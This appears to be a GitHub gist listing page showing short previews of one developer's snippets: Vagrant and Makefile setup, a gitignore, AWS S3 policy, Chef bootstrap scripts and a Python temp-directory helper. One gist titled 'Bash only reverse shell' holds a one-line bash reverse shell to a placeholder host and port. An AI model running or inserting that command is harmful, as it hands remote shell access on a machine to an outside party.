Skip to content

Instantly share code, notes, and snippets.

Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@john-g-g
john-g-g / Vagrantfile
Last active August 29, 2015 14:08
Base Project Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
$PROJECT_NAME='init'
# Vagrantfile API/syntax version. Don't touch unless you know what you're doing!
VAGRANTFILE_API_VERSION = "2"
Vagrant.require_version ">= 1.5.0"
@john-g-g
john-g-g / Makefile
Last active August 29, 2015 14:08
Base Project Makefile
SHELL = /bin/bash
VAGRANT_VERSION =: $(shell vagrant --version 2>/dev/null | cut -c 9-10)
VAGRANT_MACHINE := .vagrant
BERKS_COOKBOOKS := chef/cookbooks.tar.gz
VAGRANT_COOKBOOKS := cookbooks/
WORDPRESS_VERSION := 3.9.2
@john-g-g
john-g-g / python-gitignore
Created October 24, 2014 19:47
python-gitignore
.vim/.netrwhist
# OS X
.DS_Store
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
@john-g-g
john-g-g / pyp_beta
Last active August 29, 2015 14:07 — forked from apuignav/pyp_beta
#!/usr/bin/env python
#version 2.13
#author tobyrosen@gmail.com
"""
Copyright (c) 2011, Sony Pictures Imageworks
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
/*
S3 Bucket Naming Scheme:
myBucket/Google/app1/user1
*/
// AWS S3 Policy With Variables
var $policy = '
{
"Version": "2012-10-17",
"Statement": [
@john-g-g
john-g-g / bootstrap.sh
Last active August 29, 2015 13:57
AWS Chef Bootstrap
#!/bin/bash -xe
#update packages
sudo apt-get update
sudo apt-get install tmux
sudo apt-get install ruby1.9.1-full ruby1.9.1-dev rubygems1.9.1
#!/bin/bash -xe
#THIS SCRIPT MUST BE RUN AS ROOT
#update packages
echo "deb http://apt.opscode.com/ precise-0.10 main" | tee /etc/apt/sources.list.d/opscode.list
mkdir -p /etc/apt/trusted.gpg.d
@john-g-g
john-g-g / bash reverse shell
Created December 19, 2013 15:16
Bash only reverse shell
bash -i >& /dev/tcp/$HOST/$PORT 0>&1
@john-g-g
john-g-g / mktempdir.py
Created December 12, 2013 18:41
tempfile.mkdtemp relies on user to remove the temp directory it creates, and I know I'm not reliable, so the context manager does it for me.
from contextlib import contextmanager
import tempfile
import shutil
import logging
log = logging.getLogger(__name__)
'''
USAGE:
with mktempdir() as tempdir: